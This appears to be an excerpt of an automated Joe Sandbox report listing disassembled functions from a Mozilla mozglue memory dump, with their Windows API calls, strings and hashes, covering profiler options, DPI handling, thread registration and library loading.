Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6122E871E046598FCB14CF98C880AADF7F2FF88304F6485A9C949A7749D771A986CF90

Function 6CB00512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 8b6cb8d2c6431803476cdb5f6908fd14f72cca191aa694a9771986ee6d894269
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B8221971E04659CFDB18CF58C890A9DFBB2FF89308F548159D449A7745D731A986CF80

Function 6CB4AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction ID: bcdd7a2ff492d4fd2e7692aa7c28b58fbdeb826eeeb3463ede1131b924bd20ec
Opcode Fuzzy Hash: df55ef00d8ca2c26c026fdbae1d309b4bd32e58cfc2113793ed0e813c4363cbe
Instruction Fuzzy Hash: AEF1027260C7859FDB00CE28C8907AEB7E6EF85319F14CA2DE5D487789E37498459B83

Function 6CADC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b004b560ee31a1a1ecb3811f5839cad61875162eee6fd1458166896257489ebc
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA1B171F0021A8FDB08CE69C8917AEB7F2AFC8358F598129D915E7781DB346D468BD0

Function 6CB355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB0E1A5), ref: 6CB35606
LoadLibraryW.KERNEL32(gdi32,?,6CB0E1A5), ref: 6CB3560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB35633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB3563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB3566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB3567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB35696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB35716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB3572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB35748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB35761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB3577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB35793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB357FF

Strings

GetMonitorInfoW, xrefs: 6CB357A2
DeleteObject, xrefs: 6CB357F9
gdi32, xrefs: 6CB3560A
ShowWindow, xrefs: 6CB356DE
ReleaseDC, xrefs: 6CB35742
CreateSolidBrush, xrefs: 6CB357E4
SetWindowPos, xrefs: 6CB356F7
GetWindowDC, xrefs: 6CB35710
RegisterClassW, xrefs: 6CB356AC
SetWindowLongPtrW, xrefs: 6CB357B7
GetThreadDpiAwarenessContext, xrefs: 6CB3562D
StretchDIBits, xrefs: 6CB357CC
GetSystemMetricsForDpi, xrefs: 6CB35677
EnableNonClientDpiScaling, xrefs: 6CB35666
AreDpiAwarenessContextsEqual, xrefs: 6CB35637
LoadCursorW, xrefs: 6CB35774
MonitorFromWindow, xrefs: 6CB3578D
CreateWindowExW, xrefs: 6CB356C5
FillRect, xrefs: 6CB35729
LoadIconW, xrefs: 6CB3575B
GetDpiForWindow, xrefs: 6CB35690
user32, xrefs: 6CB35601

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction ID: 76744545956afcfbcb1f0e4a3133d43e990dd3f5648c51c444d916005310e79f
Opcode Fuzzy Hash: fbdd52dae88394bd231ef48ee0a1cc39c8b2f521ffb4e257a5c9f54b8d5f98c0
Instruction Fuzzy Hash: 7051B174701392ABEB009F35ED0492A7BFCEB062567949829ED16E3A46EB70CD01CF65

Function 6CB1CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAE582D), ref: 6CB1CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAE582D), ref: 6CB1CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB4FE98,?,?,?,?,?,6CAE582D), ref: 6CB1CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE582D), ref: 6CB1CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB1CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB1CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB1CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB1CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB1CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB1CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB1CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB1CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB1CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB1CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB1CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB1CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB1CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB1CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB1CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB1CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB1CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB1CE8A

Strings

fileio, xrefs: 6CB1CC92
fileioall, xrefs: 6CB1CCA8
nativeallocations, xrefs: 6CB1CDA8
audiocallbacktracing, xrefs: 6CB1CDD4
mainthreadio, xrefs: 6CB1CC7C
java, xrefs: 6CB1CC37
seqstyle, xrefs: 6CB1CCE6
ipcmessages, xrefs: 6CB1CDBE
noiostacks, xrefs: 6CB1CCBE
preferencereads, xrefs: 6CB1CD92
default, xrefs: 6CB1CC21
samplingallthreads, xrefs: 6CB1CE2C
leaf, xrefs: 6CB1CC66
markersallthreads, xrefs: 6CB1CE42
jsallocations, xrefs: 6CB1CD0E
nostacksampling, xrefs: 6CB1CD7C
stackwalk, xrefs: 6CB1CCF8
cpuallthreads, xrefs: 6CB1CE16
notimerresolutionchange, xrefs: 6CB1CE00
unregisteredthreads, xrefs: 6CB1CE58
Unrecognized feature "%s"., xrefs: 6CB1CEA0
screenshots, xrefs: 6CB1CCD4
power, xrefs: 6CB1CE84
processcpu, xrefs: 6CB1CE6E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction ID: 9ea911204b9565cad7785425ee4240af48b15e934322a5be607f6e1c8bb39543
Opcode Fuzzy Hash: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction Fuzzy Hash: 0251F9C1A5E2F532FE0039152D11BAF150AEF5325AF10803AED0AA2F84FF15E61D96B7

Function 6CAE4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAE44B2,6CB5E21C,6CB5F7F8), ref: 6CAE473E
Part of subcall function 6CAE4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAE474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAE44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAE44D2
InitOnceExecuteOnce.KERNEL32(6CB5F80C,6CADF240,?,?), ref: 6CAE451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE455C
LoadLibraryW.KERNEL32(?), ref: 6CAE4592
InitializeCriticalSection.KERNEL32(6CB5F770), ref: 6CAE45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAE45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAE45BB
InitOnceExecuteOnce.KERNEL32(6CB5F818,6CADF240,?,?), ref: 6CAE4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAE4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAE4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAE466D
VerSetConditionMask.NTDLL ref: 6CAE469F
VerSetConditionMask.NTDLL ref: 6CAE46AB
VerSetConditionMask.NTDLL ref: 6CAE46B2
VerSetConditionMask.NTDLL ref: 6CAE46B9
VerSetConditionMask.NTDLL ref: 6CAE46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAE46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAE46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAE46FD

Strings

kernel32.dll, xrefs: 6CAE44CD
WRusr.dll, xrefs: 6CAE44B5
NativeNtBlockSet_Write, xrefs: 6CAE46F7
l, xrefs: 6CAE4578
user32.dll, xrefs: 6CAE4557, 6CAE463F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction ID: dec830049a9c829097923f67ca0c65f897f981089c0ec1e87457ac98fef1afbc
Opcode Fuzzy Hash: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction Fuzzy Hash: 1F6118B06003849FEB019FA5CC09BA9BBBCFF4A308F88855CE5049B641D7B59995CFE0

Function 6CB1F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB1F8F9

Part of subcall function 6CAE6390: GetCurrentThreadId.KERNEL32 ref: 6CAE63D0
Part of subcall function 6CAE6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAE63DF
Part of subcall function 6CAE6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE640E

ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F93A
GetCurrentThreadId.KERNEL32 ref: 6CB1F98A
GetCurrentThreadId.KERNEL32 ref: 6CB1F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F716

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CADB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CADB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB1F739
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F746
GetCurrentThreadId.KERNEL32 ref: 6CB1F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB5385B,00000002,?,?,?,?,?), ref: 6CB1F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB1F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB1F866
free.MOZGLUE(?), ref: 6CB1FA0C

Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C
Part of subcall function 6CAE5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
Part of subcall function 6CAE5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F53
Part of subcall function 6CAE5E60: GetCurrentThread.KERNEL32 ref: 6CAE5F5C
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F66
Part of subcall function 6CAE5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E

free.MOZGLUE(?), ref: 6CB1F9C5
free.MOZGLUE(?), ref: 6CB1F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CB1F71F
" attempted to re-register as ", xrefs: 6CB1F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB1F9A6
Thread , xrefs: 6CB1F789

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction ID: 20693491365d6447d20f1030485c4374c45ca765ea38feba08dbd577893337af
Opcode Fuzzy Hash: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction Fuzzy Hash: 04811871A083849FDB10DF24C840BAEBBB5FF85308F95856DE84597B51EB30E949CB92

Function 6CAE5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAE6017

Part of subcall function 6CAD4310: moz_xmalloc.MOZGLUE(00000010,?,6CAD42D2), ref: 6CAD436A
Part of subcall function 6CAD4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAD42D2), ref: 6CAD4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
GetCurrentProcess.KERNEL32 ref: 6CAE5F53
GetCurrentThread.KERNEL32 ref: 6CAE5F5C
GetCurrentProcess.KERNEL32 ref: 6CAE5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE60CC

Strings

GeckoMain, xrefs: 6CAE5ECE, 6CAE6015

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction ID: a76439bf7aeb666f6067f12f2a3e774bee856894e4cae251bc5a1687e2157477
Opcode Fuzzy Hash: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction Fuzzy Hash: E471C2B0A04784DFD704DF28D480A6ABBF0FF5A308F54496DE59687B52D731E988CB92

Function 6CAE9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAD3217
Part of subcall function 6CAD31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAD3236
Part of subcall function 6CAD31C0: FreeLibrary.KERNEL32 ref: 6CAD324B
Part of subcall function 6CAD31C0: __Init_thread_footer.LIBCMT ref: 6CAD3260
Part of subcall function 6CAD31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAD327F
Part of subcall function 6CAD31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD328E
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32AB
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32D1
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAD32E5
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAD32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

ntdll.dll, xrefs: 6CAE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670
NtMapViewOfSection, xrefs: 6CAE9701
MapViewOfFileNuma2, xrefs: 6CAE97B1

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
